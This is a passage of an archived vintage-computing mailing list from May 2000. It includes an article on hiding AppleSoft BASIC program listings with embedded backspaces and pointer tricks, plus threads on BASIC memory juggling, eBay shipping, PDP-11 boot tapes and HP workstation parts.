little twit! Why don't you RTFM!? Mom: You're one to talk! You're not that great of a programmer yourself. And believe me, that's not the only thing you're not good at! Sis: I hate myself! My code is fat and ugly! I want to die!! > presuming there's around 100 bytes of protected memory to stuff it > into - the trick on the PET was to use the second cassette buffer > since so few users ever had two cassette drives. It was a great > learning experience to have to fit useful programs into 192 bytes. That's sort of the same thing as the $300-$39F range in the Apple. It usually held simple tone generator routines. I used it for specialized key input routines, etc. > cf. QuadraPET; I can send you a copy if you'd like to disassemble it. ISTR > it was published in COMPUTE! if you have a collection of them from the 1978- > 1981 timeframe. I'm fairly sure that the source is printed in the magazine. I have these issues (somewhere) but I pretty much know how the code needs to be written. I didn't just give myself the title of Apple GAWD! out of vanity, you know ;) I just need to look through some references and find out where the variable memory space pointers are at (I can almost remember them but its been too long) and the rest is easy. > OTOH, I am not familiar with this sort of trick being done for AppleSoft, > probably because back in those days, people moved to M/L for the Apple > very early on because of the demands for speed on graphical programs. True. I can't think of anything this would be useful for save for demonstrating my Apple GAWDliness. Sellam From ard at p850ug1.demon.co.uk Wed May 17 12:44:23 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:49 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <004901bfbf96$120c9f80$7264c0d0@ajp166> from "allisonp" at May 16, 0 08:06:54 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2096 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/865118f9/attachment-0001.ksh From foo at siconic.com Wed May 17 11:55:52 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:49 2005 Subject: More Stupid AppleSoft Tricks Message-ID: Here's an article I wrote several years back detailing a method I used for list protecting AppleSoft BASIC programs. I'd actually devised this method in the mid-80s but decided to properly document it during a discussion on an Apple ][ newsgroup. It's a little long, and the BASIC program it references near the end is somewhere around here (I'll have to dig it out in case anyone's really interested). The same article can be found at http://www.siconic.com/files/appllock --- A Better Way to Protect Your AppleSoft BASIC Programs with AppleLock by Sam Ismail January 5, 1997 :Introduction: I devised this method of protecting AppleSoft BASIC program listings some years back during my prime Apple programming days. It involves a combination of several different techniques for keeping your program unlistable by the casual to intermediate user. This system is no match for advanced users who understand the internal structure of BASIC, for they could no doubt blast through this protection with little difficulty. Hence, this program is suitable for protecting programs which you wish to keep hidden from users who are less than expert Apple ][ hackers. The following is a technical explanation of the AppleLock protection scheme. If you don't care to read it, you may want to skip to the end of this document to get the source code to the AppleLock program. This discussion will not stop to explain in detail the advanced AppleSoft BASIC and machine language techniques that are employed in this scheme as there are plenty of FAQs around to explain the finer details of the tricks involved. :AppleSoft BASIC Internal Program Storage: AppleSoft BASIC stores your program in memory by tokenizing the keywords in your program into one byte values. So for instance, when you type the follwing line: 10 PRINT "HELLO WORLD!" the BASIC interpreter converts this into the following bunch of numbers in memory (shown in hexadecimal): 15 08 Pointer to program data for next line 0A 00 Line number (in this case, 10) BA The token for PRINT 22 The opening quotation mark 48 45 4C 4C 4F 20 57 4F 52 4C 44 21 The string HELLO WORLD! 22 The closing quotation mark 00 The end of line terminator If this was the first line of the program, it would be stored starting at memory location $0801 (or decimal 2049). As shown above in the first line of bytes, the next program line data would be stored at memory location $0815 (addresses are usually stored backwards in memory, which is the way the 6502 CPU reads addresses, so in this case 15 08 is $0815). :Some Simple Protection Schemes: One of the simplest and most widely known tricks for protecting your program is to POKE a 1 at memory location $0801 (POKE 2049,1). This will trick AppleSoft into thinking that the next line of the program is at $0801 instead of $0815. This will have the effect of listing the first line of your program over and over again, indefinitely, until the user presses Control-C to stop the display. Unfortunately, this trick is not permanent. If you SAVE your program in this condition and then LOAD it into memory again, AppleSoft will "fix" the pointer and make it point to the next line again. So this trick only keeps your program secret as long as the user always runs your program before doing anything else with it (ie. LISTing it) and as long as you perform this POKE as the first command inside your program. Not a very secure method. Another well known trick for keeping your programs secret is to set a flag in AppleSoft which has the effect of ignoring all AppleSoft BASIC commands at the command line and running your program instead, regardless of what the user types (with the exception of DOS commands which ignore the RUN-only flag and execute regardless of its status). This flag is turned on by POKE-ing any value greater than 127 at memory location 214 (eg. POKE 214,255). The flag is turned off by poking any value less than 128 at the same location (eg. POKE 214,0). Again, this method is not effective because your program, or some other program that runs before your program, must set this flag before the user has a chance to list your program. Otherwise, the user could simply load and list your program before it has a chance to set this flag. So what are we to do? Well, unfortunately our options are limited and ineffective unless we know some machine language and a little bit about the AppleSoft BASIC architecture. That's where AppleLock comes in. :Technical Overview of AppleLock: The key to this scheme is adding a special line to the beginning of your program which acts as a gateway to your program listing. This first line will block the rest of your program from being viewed. It seems benign enough to the naked eye. Yet it is performing some special magic to enable your program to run normally and be copied to another disk, but never listed. This scheme uses a machine language subroutine to change the pointers of your program to where your program really is. This machine code is stored right inside the first line, but it is hidden from the user by taking advantage of some features of AppleSoft BASIC. AppleSoft allows you to embed control characters in your program listings, for instance, in REM statements. When your program is LISTed, these control characters are interpreted and output to the display just like in any other circumstance. For instance, if you stuff a Control-H (or backspace) character in a REM statement, it will be interpreted as a backspace when the line is listed, and the character previous will be over-written by the character following the backspace. There are several programs available to allow you to create fancy listings by embedding backspace characters into your REM statements in this manner. The following will demonstrate the effect an embedded backspace will have when your program is listed: LIST 10 REM A CHARACER WILL BE MISSING ^ The backspace occurred here. The 'T' was printed, but it was followed by a backspace character, so the 'E' over- wrote the 'T'. Going back to our protection scheme, we must be able to CALL our machine language subroutine which unlocks the rest of the program, but we don't want the user to know what we are doing to unlock the program. So to hide the CALL command, we follow it with a REM statement with enough backspace characters to over-write the CALL command. As a side benefit, we can now put whatever message we want as the first line of the program, such as "THIS PROGRAM CANNOT BE LISTED". Or, we can get real tricky by displaying what looks like a program line, but in actuality is some dummy text which is hiding the real program line underneath, such as "10 END " (we must put sufficient spaces to over-write both the CALL and REM commands). To illustrate this more effectively, the following is an example of a raw line before we embed the backspace characters: 10 CALL 2100: REM *******************[ CAN'T LIST THIS! ] Now we would replace all the asteriks with a backspace character (ASCII 8). The easiest way to do this is from the monitor. In this case, we would find the first asterik at memory location $080C. We could then replace the asteriks with backspace characters by doing the following: CALL -151 80C: 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 This now changes the 19 asteriks into backspace characters. Nineteen backspace characters is enough to backspace all the way back to the line number at the beginning of the line. If our line number was 1, we would only need 18 backspaces. If our line number was 100, we would need 20 backspaces. If we had other commands after the CALL command, we would need enough backspace characters to backspace over these commands as well, including the formatting spaces AppleSoft prints when it displays your program listing. We have now completed the first step. We have created a line that when listed will only show our message. Now we must create some room for our machine language code which unlocks the program when it is CALLed by the hidden command. To do this, we will add extra asteriks after our message so that we can replace these asteriks with machine code and have the code stored right inside the BASIC program. We must store the code right inside the BASIC program so that it automatically gets loaded when we load our program. Otherwise, if the code was stored in a separate file, the user would be able to stop the program before it had a chance to unlock itself. This would enable the user to possibly figure out what was going on, and we don't want that. In order to do all this, we must hide our machine code from BASIC. Otherwise, BASIC will try to interpret our machine code as BASIC tokens when we list our program and will throw garbage all over the screen. First, let's create the program line we will need to hide our CALL command as well as reserve enough bytes to store our machine language unlock code. We will also add another program line for demonstration purposes later in the tutorial. 10 CALL 2100: REM *******************[ CAN'T LIST THIS! ]********* 20 PRINT "HELLO WORLD!" We have added some asteriks after our message to create the space we will use to store our machine code. There are two extra bytes that will be used to hide this machine code from BASIC as well as to fool BASIC into thinking our program is shorter than it really is, thus hiding the rest of the program. We must now jump back into the monitor to embed our backspace characters and then insert our machine code: CALL -151 80C: 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 Embedded backspaces 834: A9 3D 85 67 4C 65 d5 Our machine language code The machine language code disassembles to the following instructions: 834: A9 3D LDA #$3D ; Get the true start of our program 836: 85 67 STA $67 ; and tell AppleSoft where it really is 838: 4C 65 D5 JMP $D565 ; Now run the real program Basically, this code tells BASIC to jump over our first decoy line and then start running our real program. As you may have guessed, the CALL command that is at the beginning of our decoy line calls this code. Of course, the user doesn't see this CALL command because it is over-written by our message. Now we must hide our machine code from BASIC, or else when we list our program we will see a bunch of garbage. The machine code actually started at the second asterik after our message. We will replace the first asterik with a zero byte. A zero byte indicates to BASIC that it has reached the end of the program line, and should go on to list the next line. When we input a line, BASIC always puts a zero byte at the end of our line before starting a new line. So after the last asterik in our line is a zero byte. But we will also replace the last asterik in our line with another zero byte, resulting in two consecutive zero bytes. Two consecutive zero bytes tells BASIC that it has reached the end of the program, and it should stop listing. We are now going to change the internal pointers of our decoy line to point to these zero bytes so that we can fool BASIC into thinking our program is only one line long! 833: 0 Replace the first asterik with a 0 byte 83B: 0 Replace the last asterik with a 0 byte ($083C has another zero byte already) 801: 3B Change the internal pointer to point to the two zero bytes, fooling BASIC into thinking it has reached the end of the program Now when we list our program, we will see the follwing: [ CAN'T LIST THIS! ] But when we run it, we will see the following: HELLO WORLD! Cool, eh? Now, before we end our program, we must make sure we lock it back up so that we don't defeat our protection scheme by leaving the door open. You can add this line to your program to have it change the pointer to the start of our program back to our decoy line: 30 POKE 103,1 Now this program will run and then re-lock itself when it's done. And now hopefully you understand the basic premise of AppleLock. :Additional Security Requirements: As the programmer, you must also take several steps within your program to ensure nobody can break out of it by hitting Control-C. And we also have to contend with that darn reset button. First though, let's take care of Control-C. To prevent the user from trying to break out of the program and at the same time trap any unexpected errors in your program, make sure the FIRST line of your program is an ONERR GOTO command. ONERR GOTO allows you to tell BASIC to jump to any line in your program whenever an error occurs, and Control-C is considered an error (its error code is 255). The simplest way to handle errors and Control-C attempts is with the following lines: 10 ONERR GOTO 63999 63999 RESUME These lines will in effect cause the program to ignore any errors, including attempts to break out of the program by the user. There is still a very minor chance that the user could time a quick Control-C right when the machine language unlock program transfers control to your unlocked program, but before you issue the ONERR GOTO command or possibly set the AppleSoft RUN-only flag (POKE 214,255), thus allowing the user to break into your program. The AppleLock program at the end of this tutorial addresses this problem. Now let's take care of the reset button. The simplest way to prevent a person from using RESET to gain access to your program is by adding a simple POKE command at the beginning of your program, as follows: POKE 1010,0 This will cause the computer to re-boot whenever the reset button is pressed. We could get fancy and re-hook the reset vector so that when the user presses RESET we can restore our program lock and then return them to BASIC. This is exactly what the AppleLock program at the end of this tutorial does. Before your program terminates and returns to the command prompt, it must undo the RUN-only flag (if you have set it) and then re-lock your program. The following program line should be the last thing your program does before it exits: 63999 POKE 103,1:POKE 214,0 The first POKE re-locks your program. The second POKE turns off the AppleSoft RUN-only flag. You should also return the reset vector to its original setting if you have modified it. Otherwise, the next time the user presses RESET, your program will run again. If another program was loaded and then RESET was pressed, the system will most assuredly crash. AppleLock includes a routine which you can call at the end of your program which will restore the reset vector as well as the AppleSoft RUN-only flag and then re-lock your program before exiting. :AppleLock Effectiveness Analysis: Unfortunately, the weakest point of this scheme is that it takes only one well-placed POKE to unlock your program. As an aside, the user can find out what you are trying to hide by changing the character output speed with a SPEED= command. For instance, by setting SPEED=0, and then LIST-ing the program, the user would be able to see that there is a CALL command hidden behind your message. The best and most secure way to protect your program from prying eyes remains the use of a BASIC compiler. However, this is not always a feasible solution. There are a few compilers for DOS 3.3 that will convert your program to machine language. And there is the Beagle Compiler for ProDOS, but this compiler does not create a stand-alone machine language program, but rather requires an interpreter that replaces BASIC.SYSTEM. :Conclusion: Hopefully this tutorial has given you enough information to help you protect your AppleSoft BASIC programs for whatever reason you may have. Enjoy. :The AppleLock Program: This program is very rudimentary and not very pretty. A nice interface can be built around this program to make it more user friendly. The important thing is that it is functional. What it does is creates the machine language unlock code by POKE-ing it into memory. It then asks you to enter the name of the program you wish to lock, as well as the line number you wish to use as your decoy line. This must be the first line in your program! After that, it allows you to enter a message up to 160 characters in length (the length of the message is fairly arbitrary, but this length was chosen to keep the program simple). Once you get good at this technique, you will want to use other programs to create your message (or perhaps use the monitor like I do) so that you can have fancy banners show up when you try to list the program. It then builds a text file with all the commands necessary to apply AppleLock to your program. This file will then be EXEC-ed so that the AppleLock procedure will be performed automatically. Once the process is complete, your program will be loaded in memory and in a locked state (if you try to LIST it you will only get the message you typed in). At this point, you should SAVE your program to disk to make the process permanent. The program will give you instructions on how to lock/unlock your program so that you, as the author, can list and modify it as you please. Keep in mind that you must unlock your program before you make any changes to it, otherwise you stand the chance of royally screwing your program and possibly crashing your machine. Weird things can happen when you start to mess with AppleSoft program pointers. If this happens, simply reboot your computer and re-load your program, and all will be well again. If you ever want to remove AppleLock from your program, simply unlock it and then save it to your disk (be sure to restore the BASIC start-of-program marker with a POKE 103,1 after you are done saving). When you load your program again, it will be back to normal. The AppleLock program includes an enhanced locking mechanism which will modify the reset vector and also sets the AppleSoft RUN-only flag by POKE-ing a 255 at location 214 before it transfers control to your program. This will prevent users from listing your program should it fail and drop to the command prompt at some point, or the user presses Control-C and you haven't added an ONERR GOTO command to your program. If the reset button is pressed, the locking mechanism will re-lock the program, reset the AppleSoft RUN-only flag, restore the reset vector to its original value and then return to the command prompt. :Disclaimer: This program may be freely modified, distributed, sauteed, fricasseed, lambasted, spindled, mutilated, desecrated, tormented and forced to cry "uncle". It may not, however, be recruited into sado-masochistic rituals unless it has consented to participate in such activities. Niether myself, my immediate family, nor the code (it's just code, it doesn't know any better) can be held responsible for any havoc it wreaks on your AppleSoft programs. This program has been run and tested several times and has been deemed sound by the author. If you do somehow get yourself in a bind, I can be reached via email (dastar@siconic.com) and I will try to help you reclaim your lost code. On that note, I leave you with these words to live by: Always Keep a Backup! ------- cut here ------- From foo at siconic.com Wed May 17 12:08:11 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <3922D04E.1E9CC9C8@home.com> Message-ID: On Wed, 17 May 2000, Doug Coward wrote: > BASIC program is $801. _I_believe_ the need for a > zero indicating the end of the previous line at > the beginning of BASIC program space is probably > a hold over from some ANCIENT incarnation of > BASIC and is not really necessary, but I have > not tried this with different kinds of BASIC. You see, THESE are the kinds of mysteries that I loved to investigate. Computer anachronisms like this have always interested me. > There should be no problem with setting the > beginning of the BASIC program area to say.... > $4057 before loading your program. As the program > is loaded, the links are changed to reflect > the new program location. This is true. > > I run either of the programs and I get an endlessly alternating display of > > "PROGRAM 1!" and "PROGRAM 2!". In other words, it works! Cool. > > BASIC also keeps a pointer to the current > line being executed. Instead of "running" > each program, try having the first program > (at the end) set the current line pointer > to $4001 and vicey versy. I didn't think about this until Eric brought it up in his posting. I'll have to look that pointer up and fiddle with it. Another important thing is to find out where the GOSUB stack is kept. I'm assuiming somewhere in variable memory but I don't think I've ever delved into this. > You could also write a BASIC program that built > it's own custom subroutines in a different memory > area on the fly, execute them, and return to > itself. Definitely possible. That would have even been practical. I can think of one application a college professor wanted me to write for him where this would have been a good solution (basically getting an equation from the user to be plotted...instead of parsing the equation, the user could've just input it in BASIC syntax and then it could've been POKEd in somewhere and executed). Sellam From vcf at siconic.com Wed May 17 12:31:35 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:52:49 2005 Subject: IBEX info? (fwd) Message-ID: Beau added this info... ---------- Forwarded message ---------- Date: Tue, 16 May 2000 23:40:22 -0500 From: Beau Reichert To: Vintage Computer Festival Subject: Re: IBEX info? I system was made by logic systems international, inc. from japan. I guess it would be a mini computer. The system is new in box never been opened. I will get some pictures of it. The model number is 7202. Has big keyboard/cpu, a monitor unit, and a 2 big floppies in one unit - 60lbs. Thanks Beau Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Wed May 17 12:41:46 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Wed, 17 May 2000, Vintage Computer GAWD! wrote: > On Wed, 17 May 2000, Doug Coward wrote: > > > BASIC program is $801. _I_believe_ the need for a > > zero indicating the end of the previous line at > > the beginning of BASIC program space is probably > > a hold over from some ANCIENT incarnation of > > BASIC and is not really necessary, but I have > > not tried this with different kinds of BASIC. > > You see, THESE are the kinds of mysteries that I loved to investigate. > Computer anachronisms like this have always interested me. And upon thinking about it more I think the reason I enjoy these is because it firmly connects us to the past. These little quirks have significance. For almost every "why" there is almost always a reason that is based on a decision some programmer made way back when that just stuck for lack of a better solution at the time and evolved and grew with the trade, and each successive generation just adopted it without wondering why it's like that. What other anachronisms come to mind? Anyone who's ever taken FORTRAN (before the 90s versions) came across such an anachronism. You had to put certain characters in certain screen columns because those same columns are where you would punch on a punch card. RPG as well. I'm sure we've all at some point looked at the control characters on the ASCII chart and realized the mnemonics came from teletypes. CR (carriage return) of course comes from the teletype which is carried up from the typewriter. When's the last time you called a hard drive a "Winchester" drive? In fact, I'd like to compile a list of these. It would make for an interesting article. Input please! Sellam From mikeford at socal.rr.com Wed May 17 13:33:35 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:49 2005 Subject: Computer Value (was Re: value of RK05) In-Reply-To: <4.3.0.20000517090543.018bd5d0@pc> Message-ID: >Just to confound the eBay hysteria, I'll recount what happened >with these RL02s. I was all excited because eBay's history showed >a single RL02 went for $28 a few weeks ago. >Chuck McManis missed my original post to this list, but he was >the winning bidder and picked one up for $5.50. I sold the rest >to him for that price, so he got five with shipping for $45. >(Did I bend any eBay rule by selling him the other ones?) > >In another eBay story, I was the top bidder for a Leitz illuminator >transformer for an old microscope I have, at $5. However, the >seller wanted to charge $12 shipping. This item is two-three pounds >at best. I questioned this and haven't heard from them yet. >No doubt some eBay sellers have discovered the old mail-order 1) Know the shipping cost before you bid. It isn't all greed, some people only use mailbox etc. or only ship fed ex (or both). Check feedback, no frequent seller would get away without some shipping cost comments if they charge too much. For newbie sellers, either email, or don't bid. If stuck with high charges (and I don't mean $1 for packing), wait til the package arrives then post a neutral feedback showing the actual and charged amounts. 2) Ebay has some funny rules, maybe you bent one, but the practice is common. 3) I charge a fair price for shipping, ie priority mail with confirmation is $3.55 up to two lbs, and that gets listed in most of my auctions as $4 for small items (no insurance) or similarly rounded up with insurance added for larger items. Most people are willing to pay a fair price, but nobody likes a unexpected price. 4) Don't try to save your customer shipping costs unless they request it, and even then stick to basic good business practices like confirmation of delivery and/or insurance. This is a lesson my international sales are slowly pounding into my head. 5) List thinly traded items at a "fair" selling price, not a low bid attracting price. I sell a lot of some cheap generic items for old macs, ie a IIcx power supply, mostly because I don't want to just scrap them. I tried a bunch of different prices, and "most" sales were still single bid, so now they list for $5.99 with $6 shipping. From ard at p850ug1.demon.co.uk Wed May 17 12:54:33 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:49 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <001101bfbfa0$3505ac20$0400c0a8@winbook> from "Richard Erlacher" at May 16, 0 07:35:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1138 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/a97c8006/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 17 13:18:34 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:49 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <001601bfc017$81217ea0$0200a8c0@marvin> from "Mark Gregory" at May 17, 0 09:49:36 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 534 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/70abdf46/attachment-0001.ksh From healyzh at aracnet.com Wed May 17 14:09:18 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:49 2005 Subject: Building PDP-11 Boot Tapes Message-ID: OK, I'm feeling lazy. Is it possible to build a PDP-11 TK-50 Boot tape under OpenVMS V7.2? What can I say, I really don't feel like getting my DECstation 5000/133 fully up and running with NetBSD, moving the TZ30 from my PDP-11/73 to the DECstation, making the tape, then moving the TZ30 back just to build a tape. Hmm, maybe I should just use an emulator to build UNIX V7M RL02 images for my /44 and then use a VAX to make the diskpacks :^) BTW, PUP's is now setup so you can access it after going through the SCO 'click-through' AT&T Source License. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From CLASSICCMP at trailing-edge.com Wed May 17 14:51:40 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:49 2005 Subject: Building PDP-11 Boot Tapes Message-ID: <000517155140.20200112@trailing-edge.com> >OK, I'm feeling lazy. Is it possible to build a PDP-11 TK-50 Boot tape >under OpenVMS V7.2? Yeah, sure it is. Question is, what do you want to boot into? Just make sure all the files are laid down correctly, all the record lengths are right, and you've got the tape marks in the right places. Those are the essential ingredient to any tape. Tim. From dlinder at uiuc.edu Wed May 17 15:22:41 2000 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 18:52:49 2005 Subject: WTD: HP9000/735 Ethernet Board Message-ID: Hello List, A friend of mine has recently acquired an HP9000/735, and he's looking to get an ethernet adapter for it. (it either didn't have one, or the one he had was less than functional). It is HP PN A2095-66584, the AUI ethernet board for an HP 735. He would also be interested in the thin lan card instead, if someone has one of those available for sale. thanks a lot in advance. - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - - Riot sounds start riots. / keep talking... - From pete at dunnington.u-net.com Wed May 17 15:26:46 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Vintage Computer GAWD! "Re: Cool AppleSoft BASIC trick I never thought of before" (May 17, 0:16) References: Message-ID: <10005172126.ZM4785@indy.dunnington.u-net.com> On May 17, 0:16, Vintage Computer GAWD! wrote: > On Wed, 17 May 2000, Pete Turnbull wrote: > > > If I remember correctly, Applesoft BASIC is one of those that searches from > > the start of program every time it executes a GOTO or GOSUB. If I'm right, > > the easy way to preserve variables (and all the rest of the program state, > > including the GOSUB/FOR..NEXT stack) would be to POKE in the new start > > address and then GOTO 10 instead of RUN. > > I think you'd have to do more than this since the interpreter won't know > the difference between Program A running and Program B. In other words, > the varibale A$ in Programs A&B will both point to the same variable > (hmmm...an interesting way to implement shared memory in BASIC!) That's right; I just assumed you wanted to keep all the variables around all the time. If you want something more like a real mutitasking system, and program independence (not to have to worry about variables in one program sharing names with those in another) then you need to save-and-restore all the relevant pointers: start of variable space, start of arrays, end of numerics, start of strings. Maybe more (I've not tried it personally). > > If you do this, you better set LOMEM as well (but only once), or make sure > > the highest-loaded program is the first one RUN, so the variables start in > > a suitable place. > > LOMEM does almost what you need: it moves the start of the variable data > pointer to the address specified with the command. However, I do believe > this initializes the variable space, which would not be good. No, it wouldn't be good, and the LOMEM comand probably does reset the other pointers (I can't check, my Apples are both in store at the moment). I really just meant "set the LOMEM pointer". > I've never > devled into the way BASIC variables are kept but I am pretty sure that > they are searched for from the beginning of whatever LOMEM is to the end > (as given, I believe, by HIMEM). LOMEM and HIMEM simply set pointers in > the zero page that BASIC uses to keep track of the low and high memory > locations for variable storage. So manually keeping track of these and > POKEing them in for each swap should appropriately keep the variable > memory for each program in memory separate and intact. Yes, the variables aren't stored in any specially structured way (they are in some other BASICs). You probably want to keep track of the end of string space as well (HIMEM, essentially) and make liberal use of FRE() to minimise waste. > I was just thinking that a sort of Multi-Tasking BASIC Operating System > (MTBOS) could be developed that would take care of all this for you. > Also, since the text screen on the Apple ][ can be defined by poking in > the left column, right column, top row and bottom row into the > appropriately zero page addresses, one can also specify a screen area that > each program is allowed to run in. This could be maintained by the MTBOS. > > The MTBOS would basically reside somewhere in memory (a simple one could > probably be made to fit in $300-$3A0 which is the common unused space > where simple machine language utilities go) and can be CALLed from each > program running at regular intervals to allow a swap to the next process. > It would be sort of like Windows 3.0 :) (but probably faster). Yes, probably :-) Since you wouldn't need much code, and nothing on a standard Apple uses interrupts, you could go one further and make it a time-sliced system instead of a cooperative one, with a very simple circuit (not much more than a 555 timer, though you might want it on a card with a PROM to hold the code). -- Pete Peter Turnbull Dept. of Computer Science University of York From ghldbrd at ccp.com Wed May 17 21:20:52 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:52:49 2005 Subject: Is this for real -- a new C64/128 In-Reply-To: <00a301bfc02e$fb5f0400$030101ac@boll.casema.net> Message-ID: Hello Sipke On 17-May-00, you wrote: > The last I heard of was Escom BV but they went out of bussiness about 4 years > ago. Escom went on to become Amiga.de. They are building A1200's and some A4000's from old parts stock held up by the creditors to Commodore. AFAIK the C= is up for grabs, and has nothing to do with the present Amiga, US or German. > Regards -- Gary Hildebrand From healyzh at aracnet.com Wed May 17 15:37:58 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:49 2005 Subject: Building PDP-11 Boot Tapes In-Reply-To: <000517155140.20200112@trailing-edge.com> from "CLASSICCMP@trailing-edge.com" at May 17, 2000 03:51:40 PM Message-ID: <200005172037.NAA23230@shell1.aracnet.com> > >OK, I'm feeling lazy. Is it possible to build a PDP-11 TK-50 Boot tape > >under OpenVMS V7.2? > > Yeah, sure it is. Question is, what do you want to boot into? Now how did I miss adding that little bit of info! For the /73 I'm thinking Ultrix-11 V3.1 and/or 2.11BSD. I'm also considering UNIX V7M for the /44, but with that I'd build it on an emulator and then copy the RL02 images to RL02 disk packs. It looks like both Ultrix-11 and 2.11BSD will support TK50's, though I think they're likely to have some problems with the way I've got the /73's Hardware configured. If need be I guess I can always break out the /23+ as it's the most standard DEC PDP-11 config I've got. My concern with the /73 is that it uses a WQESD/04 to bootstrap the system, the Harddrives, CD-ROM and TZ30 hang on a Viking SCSI board, and the RX50's are hooked up to a RQDX3. Zane From pat at transarc.ibm.com Wed May 17 14:46:33 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:52:49 2005 Subject: Building PDP-11 Boot Tapes In-Reply-To: Message-ID: On Wed, 17 May 2000, Zane H. Healy wrote: > OK, I'm feeling lazy. Is it possible to build a PDP-11 TK-50 Boot tape > under OpenVMS V7.2? > > What can I say, I really don't feel like getting my DECstation 5000/133 > fully up and running with NetBSD, moving the TZ30 from my PDP-11/73 to the > DECstation, making the tape, then moving the TZ30 back just to build a tape. Sure - there is definitely a way to take your raw data and dump it out to an unlabelled tape. But it's been so long since I've used VMS, that I don't remember what that way is. However, see comments below ... > Hmm, maybe I should just use an emulator to build UNIX V7M RL02 images for > my /44 and then use a VAX to make the diskpacks :^) If that is an option for you, you should do that. The bootstrap and standalone utilities only support TU10/TU16, TE16, and TS11 tape drives; there is no TMSCP support at all in V7m. If you key in a TMSCP bootstrap by hand, you'll probably be able to read in the bootstrap and get to the Boot : prompt, but you won't be able to do anything after that, since boot won't load anything from a TMSCP tape..... --Pat. From cem14 at cornell.edu Wed May 17 15:58:53 2000 From: cem14 at cornell.edu (Carlos Murillo-Sanchez) Date: Sun Feb 27 18:52:49 2005 Subject: WTD: HP9000/735 Ethernet Board References: Message-ID: <3923080D.D72ECC93@cornell.edu> hmmm... 735's have a big multiple jumper for selecting either the AUI or BNC connectors; was this jumper set properly? All network cards for the 735 that I know have both BNC and AUI (except, of course for the FDDI card). BTW, nice machine he got. I have several. carlos. Dan Linder wrote: > > Hello List, > > A friend of mine has recently acquired an HP9000/735, and he's looking > to get an ethernet adapter for it. (it either didn't have one, or the one > he had was less than functional). > > It is HP PN A2095-66584, the AUI ethernet board for an HP 735. He would > also be interested in the thin lan card instead, if someone has one of > those available for sale. > > thanks a lot in advance. > > - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - > - Riot sounds start riots. / keep talking... - -- Carlos Murillo-Sanchez email: cem14@cornell.edu 428 Phillips Hall, Electrical Engineering Department Cornell University, Ithaca, NY 14853 From foo at siconic.com Wed May 17 15:06:46 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <10005172126.ZM4785@indy.dunnington.u-net.com> Message-ID: On Wed, 17 May 2000, Pete Turnbull wrote: > Yes, probably :-) Since you wouldn't need much code, and nothing on a > standard Apple uses interrupts, you could go one further and make it a > time-sliced system instead of a cooperative one, with a very simple circuit > (not much more than a 555 timer, though you might want it on a card with a > PROM to hold the code). I considered this. An easier way to do this is to copy the BASIC ROM into RAM in the upper 16K bank of memory and then modify the interpreter to switch after the execution of each BASIC program line. Sellam From healyzh at aracnet.com Wed May 17 16:31:12 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:49 2005 Subject: Building PDP-11 Boot Tapes In-Reply-To: from "Pat Barron" at May 17, 2000 03:46:33 PM Message-ID: <200005172131.OAA29619@shell1.aracnet.com> > > Hmm, maybe I should just use an emulator to build UNIX V7M RL02 images for > > my /44 and then use a VAX to make the diskpacks :^) > > If that is an option for you, you should do that. The bootstrap and > standalone utilities only support TU10/TU16, TE16, and TS11 tape drives; > there is no TMSCP support at all in V7m. If you key in a TMSCP bootstrap > by hand, you'll probably be able to read in the bootstrap and get to the > > Boot > : > > prompt, but you won't be able to do anything after that, since boot won't > load anything from a TMSCP tape..... > > --Pat. > In the case of the /44 it's also the easiest, as I don't feel like dragging my TU81+ home from storage, or fighting with a SCSI tape drive. I've got a MicroVAX 3 with a 